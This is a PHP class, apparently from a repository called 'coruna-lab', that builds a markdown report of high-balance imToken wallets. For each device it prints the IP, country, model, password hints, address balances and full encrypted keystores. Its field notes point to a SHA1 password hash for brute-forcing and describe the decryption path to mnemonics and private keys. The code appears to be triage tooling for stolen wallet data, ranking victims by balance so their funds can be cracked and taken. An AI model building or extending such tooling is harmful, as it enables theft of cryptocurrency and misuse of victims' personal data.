Files
coruna-lab/app/Console/Commands/ExportImtokenRichMarkdown.php
T
2026-09-30 04:04:12 +08:00

178 lines
6.1 KiB
PHP

<?php
namespace App\Console\Commands;
use App\Models\WalletAddress;
/**
* Renders the imToken-rich export as a markdown document.
* Each device is one block:
* - summary line (设备 id, 密码提示, 地址数, 总余额)
* - 设备基本信息 as JSON
* - 地址列表 as table
* - keystore as JSON
*
* @internal
*/
final class ExportImtokenRichMarkdown
{
public function __construct(
private readonly array $summary,
private readonly array $devices,
) {}
public function render(): string
{
$md = [];
$md[] = '# imToken 富地址导出报告';
$md[] = '';
$md[] = '导出时间: '.$this->summary['exported_at'];
$md[] = '';
$md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd']
.' · 无助记词 · 有 keystore';
$md[] = '';
$md[] = '## 汇总';
$md[] = '';
$md[] = '| 指标 | 值 |';
$md[] = '|---|---|';
$md[] = "| 设备数 | {$this->summary['device_count']} |";
$md[] = "| 地址数 | {$this->summary['address_count']} |";
$md[] = "| Keystore 数 | {$this->summary['keystore_count']} |";
foreach ($this->summary['totals']['coins'] as $col => $val) {
$sym = strtoupper($col);
$md[] = "| {$sym} 总额 | {$val} |";
}
$md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |";
$md[] = '';
$md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1';
$md[] = '';
foreach ($this->devices as $device) {
$this->renderDevice($md, $device);
}
$md[] = '---';
$md[] = '';
$md[] = '## 字段说明';
$md[] = '';
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
$md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词;`PRIVATE_KEY` = 加密单私钥';
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
$md[] = '';
return implode("\n", $md);
}
private function renderDevice(array &$md, array $device): void
{
$hints = $this->collectPasswordHints($device['keystores']);
$hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无';
$addrCount = count($device['addresses']);
$usd = $device['totals']['usd_approx'];
$md[] = '---';
$md[] = '';
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
$md[] = '';
$md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}";
$md[] = '';
// 设备基本信息 as JSON
$basicInfo = [
'id' => $device['id'],
'device_id' => $device['device_id'],
'channel_id' => $device['channel_id'],
'model' => $device['model'],
'ios_version' => $device['ios_version'],
'ip' => $device['ip'],
'country' => $device['country'],
'wallet_names' => $device['wallet_names'],
'user_agent' => $device['user_agent'],
'created_at' => $device['created_at'],
];
$md[] = '**设备基本信息**:';
$md[] = '';
$md[] = '```json';
$md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
$md[] = '```';
$md[] = '';
// 地址列表 as table
$this->renderAddressTable($md, $device['addresses']);
// keystore as JSON
$this->renderKeystores($md, $device['keystores']);
}
/**
* @param list<array<string, mixed>> $keystores
* @return list<string>
*/
private function collectPasswordHints(array $keystores): array
{
$hints = [];
foreach ($keystores as $ks) {
$meta = $ks['keystore']['imTokenMeta'] ?? null;
if (is_array($meta) && isset($meta['passwordHint'])) {
$h = trim((string) $meta['passwordHint']);
if ($h !== '' && ! in_array($h, $hints, true)) {
$hints[] = $h;
}
}
}
return $hints;
}
private function renderAddressTable(array &$md, array $addresses): void
{
$md[] = '**地址列表**:';
$md[] = '';
if ($addresses === []) {
$md[] = '_(无)_';
$md[] = '';
return;
}
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$header[] = strtoupper($col);
}
$md[] = '| '.implode(' | ', $header).' |';
$md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|';
foreach ($addresses as $a) {
$row = [
$a['id'],
'`'.$a['address'].'`',
$a['chain_type'],
$a['derive_index'] ?? '-',
$a['mnemonic_id'] ?? '-',
$a['monitor'] ? '✓' : '·',
];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$row[] = $a['coins'][$col] ?? '0';
}
$md[] = '| '.implode(' | ', $row).' |';
}
$md[] = '';
}
private function renderKeystores(array &$md, array $keystores): void
{
if ($keystores === []) {
return;
}
foreach ($keystores as $ks) {
$md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):';
$md[] = '';
$md[] = '```json';
$md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
$md[] = '```';
$md[] = '';
}
}
}